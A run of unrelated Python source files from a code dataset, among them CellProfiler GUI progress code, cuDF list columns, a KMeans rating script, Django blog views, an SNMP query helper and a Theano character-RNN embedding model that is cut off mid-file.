Precord's post\n # https://groups.google.com/forum/#!topic/wxpython-users/s8AQ64ptyCg\n #\n for win in wx.GetTopLevelWindows():\n if isinstance(win, wx.Dialog):\n if win.IsModal():\n self.__progress_bar.Show(False)\n return\n self.__progress_bar.Show(True)\n self.__progress_msg_ctrl.Label = message\n if remaining_time is not None:\n self.__progress_bar.Value = \\\n (100 * elapsed_time) / (elapsed_time + remaining_time + .00001)\n timestr = 'Time %s/%s' % (\n secs_to_timestr(elapsed_time),\n secs_to_timestr(elapsed_time + remaining_time))\n else:\n self.__progress_bar.Pulse()\n timestr = \"Elapsed time: %s\" % secs_to_timestr(elapsed_time)\n self.__timer.SetLabel(timestr)\n self.__progress_panel.Layout()\n\n def on_stop_analysis(self):\n if self.__progress_watcher is not None:\n self.__progress_watcher.stop()\n self.__progress_watcher = None\n self.show_status_text()\n\n def set_message_text(self, text):\n if self.__status_text.Label != text:\n saved_size = self.__status_text.GetSize()\n self.__status_text.SetLabel(text)\n self.__status_text.SetSize(saved_size)\n self.__status_text.Update()\n\n def pop_error_text(self, error_text):\n if error_text in self.__errors:\n self.__errors.remove(error_text)\n if len(self.__errors) == 0:\n self.set_message_color(wx.Colour(0, 0, 0))\n self.set_message_text(WELCOME_MESSAGE)\n else:\n self.set_message_text(self.__errors.__iter__().next())\n\n def set_message_color(self, color):\n self.__status_text.SetForegroundColour(color)\n\n def set_error_text(self, error_text):\n self.set_message_text(error_text)\n self.set_message_color(wx.Colour(255, 0, 0))\n self.__errors.add(error_text)\n\n def __on_browse(self, event, edit_box, text):\n dir_dialog = wx.DirDialog(self.__panel, string.capitalize(text), edit_box.GetValue())\n if dir_dialog.ShowModal() == wx.ID_OK:\n edit_box.SetValue(dir_dialog.GetPath())\n fake_event = wx.CommandEvent(wx.wxEVT_COMMAND_TEXT_UPDATED)\n fake_event.EventObject = edit_box\n fake_event.Id = edit_box.Id\n edit_box.GetEventHandler().ProcessEvent(fake_event)\n\n def __on_edit_box_change(self, event, edit_box, text, actions):\n path = edit_box.GetValue()\n error_text = 'The %s is not a directory' % text\n if os.path.isdir(path):\n for action in actions:\n action(path)\n items = edit_box.GetItems()\n if len(items) < 1 or items[0] != path:\n ins = edit_box.GetInsertionPoint()\n edit_box.Insert(edit_box.Value, 0, path)\n edit_box.Select(0)\n edit_box.SetInsertionPoint(ins)\n abspath = os.path.abspath(path)\n for i, item in enumerate(items):\n if os.path.abspath(item) == abspath:\n edit_box.Delete(i + 1)\n self.pop_error_text(error_text)\n else:\n self.set_error_text(error_text)\n\n def __on_help(self, event, help_text):\n dlg = cellprofiler.gui.htmldialog.HTMLDialog(self.__panel, \"Help\", help_text)\n dlg.Show()\n\n def __on_pixel_size_changed(self, event):\n error_text = 'Pixel size must be a number'\n text = self.__pixel_size_edit_box.Value\n if text.isdigit():\n cellprofiler.preferences.set_pixel_size(int(text))\n self.pop_error_text(error_text)\n else:\n self.set_error_text(error_text)\n\n def __on_preferences_output_filename_event(self, event):\n if self.__output_filename_edit_box.Value != cellprofiler.preferences.get_output_file_name():\n self.__output_filename_edit_box.Value = cellprofiler.preferences.get_output_file_name()\n\n def __on_preferences_output_directory_event(self, event):\n old_selection = self.__output_edit_box.Selection\n if self.__output_edit_box.Value != cellprofiler.preferences.get_default_output_directory():\n self.__output_edit_box.Value = cellprofiler.preferences.get_default_output_directory()\n\n def __on_preferences_image_directory_event(self, event):\n if self.__image_edit_box.Value != cellprofiler.preferences.get_default_image_directory():\n self.__image_edit_box.Value = cellprofiler.preferences.get_default_image_directory()\n\n def __notify_pipeline_list_view_directory_change(self, path):\n # modules may need revalidation\n if self.__pipeline_list_view is not None:\n self.__pipeline_list_view.notify_directory_change()\n\n @staticmethod\n def refresh_input_directory():\n cellprofiler.preferences.fire_image_directory_changed_event()\n\n\nclass ProgressWatcher:\n \"\"\" Tracks pipeline progress and estimates time to completion \"\"\"\n\n def __init__(self, parent, update_callback, multiprocessing=False):\n self.update_callback = update_callback\n\n # start tracking progress\n self.start_time = time.time()\n self.end_times = None\n self.current_module_name = ''\n self.pause_start_time = None\n self.previous_pauses_duration = 0.0\n self.image_set_index = 0\n self.num_image_sets = 1\n\n # for multiprocessing computation\n self.num_jobs = 1\n self.num_received = 0\n\n self.multiprocessing = multiprocessing\n\n timer_id = wx.NewId()\n self.timer = wx.Timer(parent, timer_id)\n self.timer.Start(500)\n if not multiprocessing:\n wx.EVT_TIMER(parent, timer_id, self.update)\n self.update()\n else:\n wx.EVT_TIMER(parent, timer_id, self.update_multiprocessing)\n self.update_multiprocessing()\n\n def stop(self):\n self.timer.Stop()\n\n def update(self, event=None):\n status = '%s, Image Set %d/%d' % (self.current_module_name, self.image_set_index + 1, self.num_image_sets)\n self.update_callback(status,\n self.elapsed_time(),\n self.remaining_time())\n\n def update_multiprocessing(self, event=None):\n if self.num_jobs > self.num_received:\n status = 'Processing: %d of %d image sets completed' % \\\n (self.num_received, self.num_jobs)\n self.update_callback(\n status,\n self.elapsed_time(),\n self.remaining_time_multiprocessing())\n else:\n status = \"Post-processing, please wait\"\n self.update_callback(status, self.elapsed_time())\n\n def on_pipeline_progress(self, *args):\n if not self.multiprocessing:\n self.on_start_module(*args)\n else:\n self.on_receive_work(*args)\n\n def on_start_module(self, module, num_modules, image_set_index,\n num_image_sets):\n \"\"\"\n Update the historical execution times, which are used as the\n bases for projecting the time that remains. Also update the\n labels that show the current module and image set. This\n method is called by the pipelinecontroller at the beginning of\n every module execution to update the progress bar.\n \"\"\"\n self.current_module = module\n self.current_module_name = module.module_name\n self.num_modules = num_modules\n self.image_set_index = image_set_index\n self.num_image_sets = num_image_sets\n\n if self.end_times is None:\n # One extra element at the beginning for the start time\n self.end_times = numpy.zeros(1 + num_modules * num_image_sets)\n module_index = module.module_num - 1 # make it zero-based\n index = image_set_index * num_modules + (module_index - 1)\n self.end_times[1 + index] = self.elapsed_time()\n\n self.update()\n\n def on_receive_work(self, num_jobs, num_received):\n self.num_jobs = num_jobs\n self.num_received = num_received\n if self.end_times is None:\n # One extra element at the beginning for the start time\n self.end_times = numpy.zeros(1 + num_jobs)\n self.end_times[0] = self.elapsed_time()\n self.end_times[num_received] = self.elapsed_time()\n self.update_multiprocessing()\n\n def pause(self, do_pause):\n if do_pause:\n self.pause_start_time = time.time()\n else:\n self.previous_pauses_duration += time.time() - self.pause_start_time\n self.pause_start_time = None\n\n def adjusted_time(self):\n \"\"\"Current time minus the duration spent in pauses.\"\"\"\n pauses_duration = self.previous_pauses_duration\n if self.pause_start_time:\n pauses_duration += time.time() - self.pause_start_time\n return time.time() - pauses_duration\n\n def elapsed_time(self):\n \"\"\"Return the number of seconds that have elapsed since start\n as a float. Pauses are taken into account.\n \"\"\"\n return self.adjusted_time() - self.start_time\n\n def remaining_time(self):\n \"\"\"Return our best estimate of the remaining duration, or None\n if we have no bases for guessing.\"\"\"\n if self.end_times is None:\n return 2 * self.elapsed_time() # We have not started the first module yet\n else:\n module_index = self.current_module.module_num - 1\n index = self.image_set_index * self.num_modules + module_index\n durations = (self.end_times[1:] - self.end_times[:-1]).reshape(self.num_image_sets, self.num_modules)\n per_module_estimates = numpy.zeros(self.num_modules)\n per_module_estimates[:module_index] = numpy.median(durations[:self.image_set_index + 1, :module_index], 0)\n current_module_so_far = self.elapsed_time() - self.end_times[1 + index - 1]\n if self.image_set_index > 0:\n per_module_estimates[module_index:] = numpy.median(durations[:self.image_set_index, module_index:], 0)\n per_module_estimates[module_index] = max(per_module_estimates[module_index], current_module_so_far)\n else:\n # Guess that the modules that haven't finished yet are\n # as slow as the slowest one we've seen so far.\n per_module_estimates[module_index] = current_module_so_far\n per_module_estimates[module_index:] = per_module_estimates[:module_index + 1].max()\n per_module_estimates[:module_index] *= self.num_image_sets - self.image_set_index - 1\n per_module_estimates[module_index:] *= self.num_image_sets - self.image_set_index\n per_module_estimates[module_index] -= current_module_so_far\n return per_module_estimates.sum()\n\n def remaining_time_multiprocessing(self):\n \"\"\"Return our best estimate of the remaining duration, or None\n if we have no bases for guessing.\"\"\"\n if (self.end_times is None) or (self.num_received == 0):\n return 2 * self.elapsed_time() # We have not started the first module yet\n else:\n expected_per_job = self.end_times[self.num_received] / self.num_received\n return expected_per_job * (self.num_jobs - self.num_received)\n\n\ndef secs_to_timestr(duration):\n dur = int(round(duration))\n hours = dur // (60 * 60)\n rest = dur % (60 * 60)\n minutes = rest // 60\n rest %= 60\n seconds = rest\n minutes = (\"%02d:\" if hours > 0 else \"%d:\") % minutes\n hours = \"%d:\" % (hours,) if hours > 0 else \"\"\n seconds = \"%02d\" % seconds\n return hours + minutes + seconds\n","sub_path":"cellprofiler/gui/preferencesview.py","file_name":"preferencesview.py","file_ext":"py","file_size_in_byte":32441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"29259589","text":"menor=100\r\nmayor=0\r\nbanderaMa=0\r\nbanderaMe=0\r\ni=1\r\nc=True\r\n\r\nwhile c:\r\n a = int(input(\"ingrese numeros = \"))\r\n\r\n if amayor:\r\n mayor=a\r\n banderaMa=i\r\n\r\n b = input(\"ingrese s si quiere parar = \")\r\n if b == \"s\":\r\n c=False\r\n i +=1\r\n\r\nprint(\"el numero menor es =\",menor,\"y fue ingresado en el intento =\",banderaMe)\r\nprint(\"el numero mayor es =\",mayor,\"y fue ingresado en el intento =\",banderaMa)","sub_path":"Guia 1/3-estructura repetitiva/Ej18.py","file_name":"Ej18.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"212002463","text":"# Copyright (c) 2020-2021, NVIDIA CORPORATION.\n\nimport pickle\n\nimport pyarrow as pa\n\nimport cudf\nfrom cudf.core.buffer import Buffer\nfrom cudf.core.column import ColumnBase, column\nfrom cudf.core.column.methods import ColumnMethodsMixin\nfrom cudf.utils.dtypes import is_list_dtype\n\n\nclass ListColumn(ColumnBase):\n def __init__(\n self, size, dtype, mask=None, offset=0, null_count=None, children=(),\n ):\n super().__init__(\n None,\n size,\n dtype,\n mask=mask,\n offset=offset,\n null_count=null_count,\n children=children,\n )\n\n def __sizeof__(self):\n if self._cached_sizeof is None:\n n = 0\n if self.nullable:\n n += cudf._lib.null_mask.bitmask_allocation_size_bytes(\n self.size\n )\n\n child0_size = (self.size + 1) * self.base_children[\n 0\n ].dtype.itemsize\n current_base_child = self.base_children[1]\n current_offset = self.offset\n n += child0_size\n while type(current_base_child) is ListColumn:\n child0_size = (\n current_base_child.size + 1 - current_offset\n ) * current_base_child.base_children[0].dtype.itemsize\n current_offset = current_base_child.base_children[0][\n current_offset\n ]\n n += child0_size\n current_base_child = current_base_child.base_children[1]\n\n n += (\n current_base_child.size - current_offset\n ) * current_base_child.dtype.itemsize\n\n if current_base_child.nullable:\n n += cudf._lib.null_mask.bitmask_allocation_size_bytes(\n current_base_child.size\n )\n self._cached_sizeof = n\n\n return self._cached_sizeof\n\n @property\n def base_size(self):\n return len(self.base_children[0]) - 1\n\n @property\n def elements(self):\n \"\"\"\n Column containing the elements of each list (may itself be a\n ListColumn)\n \"\"\"\n return self.children[1]\n\n @property\n def offsets(self):\n \"\"\"\n Integer offsets to elements specifying each row of the ListColumn\n \"\"\"\n return self.children[0]\n\n def list(self, parent=None):\n return ListMethods(self, parent=parent)\n\n def to_arrow(self):\n offsets = self.offsets.to_arrow()\n elements = (\n pa.nulls(len(self.elements))\n if len(self.elements) == self.elements.null_count\n else self.elements.to_arrow()\n )\n pa_type = pa.list_(elements.type)\n\n if self.nullable:\n nbuf = self.mask.to_host_array().view(\"int8\")\n nbuf = pa.py_buffer(nbuf)\n buffers = (nbuf, offsets.buffers()[1])\n else:\n buffers = offsets.buffers()\n return pa.ListArray.from_buffers(\n pa_type, len(self), buffers, children=[elements]\n )\n\n def set_base_data(self, value):\n if value is not None:\n raise RuntimeError(\n \"ListColumn's do not use data attribute of Column, use \"\n \"`set_base_children` instead\"\n )\n else:\n super().set_base_data(value)\n\n def serialize(self):\n header = {}\n header[\"type-serialized\"] = pickle.dumps(type(self))\n header[\"dtype\"] = pickle.dumps(self.dtype)\n header[\"null_count\"] = self.null_count\n header[\"size\"] = self.size\n\n frames = []\n sub_headers = []\n\n for item in self.children:\n sheader, sframes = item.serialize()\n sub_headers.append(sheader)\n frames.extend(sframes)\n\n if self.null_count > 0:\n frames.append(self.mask)\n\n header[\"subheaders\"] = sub_headers\n header[\"frame_count\"] = len(frames)\n\n return header, frames\n\n @classmethod\n def deserialize(cls, header, frames):\n\n # Get null mask\n if header[\"null_count\"] > 0:\n mask = Buffer(frames[-1])\n else:\n mask = None\n\n # Deserialize child columns\n children = []\n f = 0\n for h in header[\"subheaders\"]:\n fcount = h[\"frame_count\"]\n child_frames = frames[f : f + fcount]\n column_type = pickle.loads(h[\"type-serialized\"])\n children.append(column_type.deserialize(h, child_frames))\n f += fcount\n\n # Materialize list column\n return column.build_column(\n data=None,\n dtype=pickle.loads(header[\"dtype\"]),\n mask=mask,\n children=tuple(children),\n size=header[\"size\"],\n )\n\n\nclass ListMethods(ColumnMethodsMixin):\n \"\"\"\n List methods for Series\n \"\"\"\n\n def __init__(self, column, parent=None):\n if not is_list_dtype(column.dtype):\n raise AttributeError(\n \"Can only use .list accessor with a 'list' dtype\"\n )\n self._column = column\n self._parent = parent\n\n @property\n def leaves(self):\n \"\"\"\n From a Series of (possibly nested) lists, obtain the elements from\n the innermost lists as a flat Series (one value per row).\n\n Returns\n -------\n Series\n\n Examples\n --------\n >>> a = cudf.Series([[[1, None], [3, 4]], None, [[5, 6]]])\n >>> a.list.leaves\n 0 1\n 1 \n 2 3\n 3 4\n 4 5\n 5 6\n dtype: int64\n \"\"\"\n if type(self._column.elements) is ListColumn:\n return self._column.elements.list(parent=self._parent).leaves\n else:\n return self._return_or_inplace(\n self._column.elements, retain_index=False\n )\n","sub_path":"python/cudf/cudf/core/column/lists.py","file_name":"lists.py","file_ext":"py","file_size_in_byte":5909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"556733299","text":"import pandas as pd\r\nimport numpy as np\r\nfrom sklearn.cluster import KMeans\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nimport matplotlib.pyplot as plt\r\n\r\ndef scale(x, emphasis, train):\r\n scalar = MinMaxScaler(feature_range=(0,1))\r\n scalarEmphasis = MinMaxScaler(feature_range=(0,100))\r\n x_scaled = scalar.fit_transform(x)\r\n for emphasisValue in emphasis:\r\n emphasis_scaled = scalarEmphasis.fit_transform(np.array(train[train.columns.values[emphasisValue]]).reshape(-1,1))\r\n for index in range(len(x_scaled)):\r\n x_scaled[index][emphasisValue] = emphasis_scaled[index]\r\n #print(emphasis_scaled)\r\n return x_scaled\r\n\r\ndef getRatings(emphasized, typeData, data):\r\n '''typeData = 1 means county data\r\n typeData = 2 means global data'''\r\n outputDict = dict()\r\n if typeData == 1:\r\n outputDict[\"FIPS\"] = list(data[\"FIPS\"])\r\n outputDict[\"Area_Name\"] = list(data[\"Area_Name\"])\r\n data = data.drop([\"FIPS\",\"State\",\"Area_Name\"],axis = 1)\r\n elif typeData == 2:\r\n outputDict[\"Country_ID\"] = list(data[\"Country_ID\"])\r\n outputDict[\"Country\"] = list(data[\"Country\"])\r\n data = data.drop([\"Country_ID\",\"Country\"],axis = 1)\r\n else:\r\n raise ValueError(\"TypeData is not 1 or 2\")\r\n x = np.array(data.astype(float))\r\n\r\n scaled = scale(x, emphasized, data)\r\n k = 15\r\n model = KMeans(n_clusters=k,algorithm = \"auto\",n_init=25,max_iter=500).fit(scaled)\r\n\r\n labels = model.labels_\r\n rankings = [clusterNum for clusterNum in range(k)]\r\n rankings.sort(key = lambda num: model.cluster_centers_[num][emphasized[0]])\r\n for y in range(len(rankings)):\r\n rankings[y] += 1\r\n outputDict[\"Index\"] = [rankings[label] for label in labels]\r\n output = pd.DataFrame(outputDict)\r\n\r\n return output\r\n\r\n'''processed = pd.read_csv(\"theiaData1.csv\")\r\nreceived = getRatings([25,26],5,processed)\r\nprint(received)'''\r\n\r\n","sub_path":"Theia/Theia/kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"69646456","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.shortcuts import render\nfrom blog.models import Posts\n\ndef posts(request):\n\tposts = Posts.objects.all().order_by('-id')[:5]\n\t# range_slice = int(page) * 10\n\t# returned_posts = posts[range_slice-10 : range_slice]\n\tcontext = {\n\t\t'posts': posts,\n\t}\n\n\treturn render(request, 'blog.html', context)\n\ndef post(request, pk):\n\tpost = Posts.objects.get(id=pk)\n\n\tcontext = {\n\t\t'post': post,\n\t}\n\n\treturn render(request, 'blog-post.html', context)\n\n","sub_path":"online_shop/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"640008377","text":"#!/usr/bin/python3\nfrom easysnmp import Session\nimport os\n\nclass GetSNMP:\n\n def get_hostname(ip_add, snmp_community):\n try: \n session = Session(hostname=ip_add, community=snmp_community, version=2)\n except SystemError:\n print(\"host unreachable\") \n hostname = session.get('iso.3.6.1.2.1.1.5.0')\n return hostname.value\n\n def get_version(ip_add, snmp_community):\n session = Session(hostname=ip_add, community=snmp_community, version=2)\n version = session.get('iso.3.6.1.2.1.1.1.0')\n return version.value\n\n def get_serial_no(ip_add, snmp_community):\n session = Session(hostname=ip_add, community=snmp_community, version=2)\n serial_no = session.get('iso.3.6.1.2.1.47.1.1.1.1.11.1')\n return serial_no.value\n \n def get_vendor(ip_add, snmp_community):\n session = Session(hostname=ip_add, community=snmp_community, version=2)\n vendor = session.get('iso.3.6.1.2.1.1.1.0') \n if \"isco\" in vendor.value:\n return \"Cisco\"\n elif \"niper\" in vendor.value:\n return \"Juniper\"\n\n\n\n\n\n\n\n","sub_path":"GetSNMP.py","file_name":"GetSNMP.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"115216575","text":"import numpy as np\nimport theano\nimport theano.tensor as T\nimport lasagne\n\nfrom collections import OrderedDict\nfrom settings import CHAR_DIM, C2W_HDIM, WDIM, SCALE, N_BATCH, GRAD_CLIP, REGULARIZATION, LEARNING_RATE, MOMENTUM, GAMMA\n\nNL1 = lasagne.nonlinearities.sigmoid\nNL2 = lasagne.nonlinearities.tanh\nNL3 = lasagne.nonlinearities.tanh\nLR = lasagne.regularization.l2\n\n# margin cost defined in TransE\ndef margincost(pos_loss, neg_loss, margin):\n out = margin + pos_loss - neg_loss\n return T.sum(out * (out > 0))\n\n# L2 distance between two Theano tensors, compute L2 distance for every row\ndef L2dist(left, right):\n return T.sqrt(T.sum(T.sqr(left - right), axis=1))\n\nclass charLM(object):\n def __init__(self, n_char, n_lhs, n_rel, n_rhs, emb_dim=WDIM, pretrained=None): # is WDIM the RNN embedding dimension? yes\n # params\n if pretrained==None:\n self.params = OrderedDict()\n self.params = init_params(self.params, n_char, n_rel, n_rhs, emb_dim) # define n_rhs, emb_dim\n else:\n self.params = load_params_shared(pretrained)\n\n self.n_rhs = n_rhs\n\n # model\n in_lhs, in_lmask, in_lhsn, in_lmaskn, emb_lhs, emb_lhsn, l_encoder = char2vec(self.params, n_char) \n # TODO maybe concatenate RNN embedding with look up table? Do it later. Use a lasagne layer to compress (linear)\n in_rhs, in_rhsn, emb_rhs, emb_rhsn = embedding_rhs(self.params, n_rhs, emb_dim)\n in_rel, emb_rel = embedding_rel(self.params, n_rel, emb_dim)\n \n # N_BATCH for input size? or just None, because later we need to do validation and testing, can uses any size\n # define loss\n pred_rhs = emb_lhs + emb_rel # true lhs + rel\n pred_lhs = emb_lhsn + emb_rel # negative lhs + rel\n pred_rel = emb_rhs - emb_lhs # predicted relation, rhs - lhs, for visualization\n pos_loss = L2dist(pred_rhs, emb_rhs) # positive triple distance\n neg_loss_r = L2dist(pred_rhs, emb_rhsn) # negative triple distance with corrupted rhs\n neg_loss_l = L2dist(pred_lhs, emb_rhs) # negative triple distance with corrupted lhs\n loss_rn = margincost(pos_loss, neg_loss_r, GAMMA) # GAMMA is the margin, GAMMA = 1.0 in TransE\n loss_ln = margincost(pos_loss, neg_loss_l, GAMMA)\n loss = loss_rn + loss_ln\n # do we need loss_ln? Yes, and how do we sample random lhs embedding? build a dict too\n self.cost = T.mean(loss) + REGULARIZATION*lasagne.regularization.apply_penalty(lasagne.layers.get_all_params(l_encoder), LR)\n # can we only add regularization to the RNN parameters? yes, only pass RNN parameters\n cost_only = T.mean(loss)\n\n '''get_output can specify input, so don't need to define another embedding layer'''\n\n # updates\n self.lr = LEARNING_RATE\n self.mu = MOMENTUM\n updates = lasagne.updates.nesterov_momentum(self.cost, self.params.values(), self.lr, momentum=self.mu)\n # try different lr, momentum\n\n # theano functions\n self.inps = [in_lhs, in_lmask, in_lhsn, in_lmaskn, in_rel, in_rhs, in_rhsn] # inputs for the function\n self.cost_fn = theano.function(self.inps,cost_only)\n self.encode_fn = theano.function([in_lhs, in_lmask], emb_lhs) # compute RNN embeddings given word (drug name)\n self.train_fn = theano.function(self.inps,self.cost,updates=updates)\n self.pred_right_fn = theano.function([in_lhs, in_lmask, in_rel], pred_rhs) # compute lhs + rel as predicted rhs\n self.emb_right_fn = theano.function([in_rhs], emb_rhs) # compute only rhs embedding\n self.pred_rel_fn = theano.function([in_lhs, in_lmask, in_rhs], pred_rel)\n\n def pred_rel(self, in_lhs, in_lmask, in_rhs):\n return self.pred_rel_fn(in_lhs, in_lmask, in_rhs)\n\n def train(self, in_lhs, in_lmask, in_lhsn, in_lmaskn, in_rel, in_rhs, in_rhsn):\n return self.train_fn(in_lhs, in_lmask, in_lhsn, in_lmaskn, in_rel, in_rhs, in_rhsn)\n\n def validate(self, in_lhs, in_lmask, in_lhsn, in_lmaskn, in_rel, in_rhs, in_rhsn):\n return self.cost_fn(in_lhs, in_lmask, in_lhsn, in_lmaskn, in_rel, in_rhs, in_rhsn)\n\n def compute_emb_right_all(self): # compute a (n_rhs * emb_dim) numpy matrix, each row is an embedding for a right hand side entity\n in_rhs_all = np.arange(self.n_rhs).astype('int32') # input pretend to compute the embedding for all right hand side entities\n self.emb_right_all = self.emb_right_fn(in_rhs_all)\n\n def encode(self, in_lhs, in_lmask):\n return self.encode_fn(in_lhs, in_lmask)\n\n def rank_right(self, in_lhs, in_lmask, in_rel, in_rhs): # return a len(in_lhs) size list, each element is the rank of the true rhs among all the rhs\n pred_rhs_batch = self.pred_right_fn(in_lhs, in_lmask, in_rel)\n right_ranks = []\n for i in range(pred_rhs_batch.shape[0]):\n true_idx = in_rhs[i]\n distances = np.zeros(self.emb_right_all.shape[0])\n for j in range(self.emb_right_all.shape[0]):\n distances[j] = np.linalg.norm(pred_rhs_batch[i, :] - self.emb_right_all[j, :], 2)\n rank = np.argsort(np.argsort(distances))\n right_ranks += [rank[true_idx]]\n return right_ranks\n \n def update_learningrate(self):\n self.lr = max(1e-5,self.lr / 2)\n updates = lasagne.updates.nesterov_momentum(self.cost, self.params.values(), self.lr, momentum=self.mu)\n self.train_fn = theano.function(self.inps,self.cost,updates=updates)\n\n def save_model(self,save_path):\n saveparams = OrderedDict()\n for kk,vv in self.params.iteritems():\n saveparams[kk] = vv.get_value()\n np.savez(save_path,**saveparams)\n\n def print_params(self):\n for kk,vv in self.params.iteritems():\n print(\"Param {} Max {} Min {}\".format(kk, np.max(vv.get_value()), np.min(vv.get_value())))\n\ndef init_params(params, n_char, n_rel, n_rhs, emb_dim):\n np.random.seed(0)\n\n # lookup table # TODO when using float 32, there will be an error in theano \n # \"An update must have the same type as the original shared variable\", why is that\n params['Wc'] = theano.shared(np.random.normal(loc=0., scale=SCALE, size=(n_char,CHAR_DIM)).astype('float64'), name='Wc')\n\n # f-GRU\n params['W_c2w_f_r'] = theano.shared(np.random.normal(loc=0., scale=SCALE, size=(CHAR_DIM,C2W_HDIM)).astype('float64'), name='W_c2w_f_r')\n params['W_c2w_f_z'] = theano.shared(np.random.normal(loc=0., scale=SCALE, size=(CHAR_DIM,C2W_HDIM)).astype('float64'), name='W_c2w_f_z')\n params['W_c2w_f_h'] = theano.shared(np.random.normal(loc=0., scale=SCALE, size=(CHAR_DIM,C2W_HDIM)).astype('float64'), name='W_c2w_f_h')\n params['b_c2w_f_r'] = theano.shared(np.zeros((C2W_HDIM)).astype('float64'), name='b_c2w_f_r')\n params['b_c2w_f_z'] = theano.shared(np.zeros((C2W_HDIM)).astype('float64'), name='b_c2w_f_z')\n params['b_c2w_f_h'] = theano.shared(np.zeros((C2W_HDIM)).astype('float64'), name='b_c2w_f_h')\n params['U_c2w_f_r'] = theano.shared(np.random.normal(loc=0., scale=SCALE, size=(C2W_HDIM,C2W_HDIM)).astype('float64'), name='U_c2w_f_r')\n params['U_c2w_f_z'] = theano.shared(np.random.normal(loc=0., scale=SCALE, size=(C2W_HDIM,C2W_HDIM)).astype('float64'), name='U_c2w_f_z')\n params['U_c2w_f_h'] = theano.shared(np.random.normal(loc=0., scale=SCALE, size=(C2W_HDIM,C2W_HDIM)).astype('float64'), name='U_c2w_f_h')\n\n # b-GRU\n params['W_c2w_b_r'] = theano.shared(np.random.normal(loc=0., scale=SCALE, size=(CHAR_DIM,C2W_HDIM)).astype('float64'), name='W_c2w_b_r')\n params['W_c2w_b_z'] = theano.shared(np.random.normal(loc=0., scale=SCALE, size=(CHAR_DIM,C2W_HDIM)).astype('float64'), name='W_c2w_b_z')\n params['W_c2w_b_h'] = theano.shared(np.random.normal(loc=0., scale=SCALE, size=(CHAR_DIM,C2W_HDIM)).astype('float64'), name='W_c2w_b_h')\n params['b_c2w_b_r'] = theano.shared(np.zeros((C2W_HDIM)).astype('float64'), name='b_c2w_b_r')\n params['b_c2w_b_z'] = theano.shared(np.zeros((C2W_HDIM)).astype('float64'), name='b_c2w_b_z')\n params['b_c2w_b_h'] = theano.shared(np.zeros((C2W_HDIM)).astype('float64'), name='b_c2w_b_h')\n params['U_c2w_b_r'] = theano.shared(np.random.normal(loc=0., scale=SCALE, size=(C2W_HDIM,C2W_HDIM)).astype('float64'), name='U_c2w_b_r')\n params['U_c2w_b_z'] = theano.shared(np.random.normal(loc=0., scale=SCALE, size=(C2W_HDIM,C2W_HDIM)).astype('float64'), name='U_c2w_b_z')\n params['U_c2w_b_h'] = theano.shared(np.random.normal(loc=0., scale=SCALE, size=(C2W_HDIM,C2W_HDIM)).astype('float64'), name='U_c2w_b_h')\n\n # dense\n params['W_c2w'] = theano.shared(np.random.normal(loc=0., scale=SCALE, size=(2*C2W_HDIM,WDIM)).astype('float64'), name='W_c2w_df')\n params['b_c2w'] = theano.shared(np.zeros((WDIM)).astype('float64'), name='b_c2w_df')\n\n # Initialize parameters for rhs entity embedding\n params['W_emb_rhs'] = theano.shared(np.random.normal(loc=0., scale=SCALE, size=(n_rhs, emb_dim)).astype('float64'), name='W_emb_rhs')\n\n # Initialize parameters for relation embedding\n params['W_emb_rel'] = theano.shared(np.random.normal(loc=0., scale=SCALE, size=(n_rel, emb_dim)).astype('float64'), name='W_emb_rel')\n\n return params\n\ndef char2vec(params,n_char,bias=True):\n '''\n Bi-GRU for encoding input\n '''\n # Variables for positive lhs\n word = T.imatrix() # B x N # input\n mask = T.fmatrix() # B x N # input\n\n # Variables for negative lhs\n wordn = T.imatrix() # B x N # input\n maskn = T.fmatrix() # B x N # input\n\n # Input layer over characters\n l_in_source = lasagne.layers.InputLayer(shape=(N_BATCH,None), name='input')\n\n # Mask layer for variable length sequences\n l_mask = lasagne.layers.InputLayer(shape=(N_BATCH,None), name='mask')\n\n # lookup\n l_clookup_source = lasagne.layers.EmbeddingLayer(l_in_source, input_size=n_char, output_size=CHAR_DIM, W=params['Wc'])\n\n # f-GRU\n c2w_f_reset = lasagne.layers.Gate(W_in=params['W_c2w_f_r'], W_hid=params['U_c2w_f_r'], W_cell=None, b=params['b_c2w_f_r'], nonlinearity=NL1)\n c2w_f_update = lasagne.layers.Gate(W_in=params['W_c2w_f_z'], W_hid=params['U_c2w_f_z'], W_cell=None, b=params['b_c2w_f_z'], nonlinearity=NL1)\n c2w_f_hidden = lasagne.layers.Gate(W_in=params['W_c2w_f_h'], W_hid=params['U_c2w_f_h'], W_cell=None, b=params['b_c2w_f_h'], nonlinearity=NL2)\n\n l_fgru_source = lasagne.layers.GRULayer(l_clookup_source, C2W_HDIM, resetgate=c2w_f_reset, updategate=c2w_f_update, hidden_update=c2w_f_hidden, hid_init=lasagne.init.Constant(0.), backwards=False, learn_init=True, gradient_steps=-1, grad_clipping=GRAD_CLIP, unroll_scan=False, precompute_input=True, mask_input=l_mask)\n\n # b-GRU\n c2w_b_reset = lasagne.layers.Gate(W_in=params['W_c2w_b_r'], W_hid=params['U_c2w_b_r'], W_cell=None, b=params['b_c2w_b_r'], nonlinearity=NL1)\n c2w_b_update = lasagne.layers.Gate(W_in=params['W_c2w_b_z'], W_hid=params['U_c2w_b_z'], W_cell=None, b=params['b_c2w_b_z'], nonlinearity=NL1)\n c2w_b_hidden = lasagne.layers.Gate(W_in=params['W_c2w_b_h'], W_hid=params['U_c2w_b_h'], W_cell=None, b=params['b_c2w_b_h'], nonlinearity=NL2)\n\n l_bgru_source = lasagne.layers.GRULayer(l_clookup_source, C2W_HDIM, resetgate=c2w_b_reset, updategate=c2w_b_update, hidden_update=c2w_b_hidden, hid_init=lasagne.init.Constant(0.), 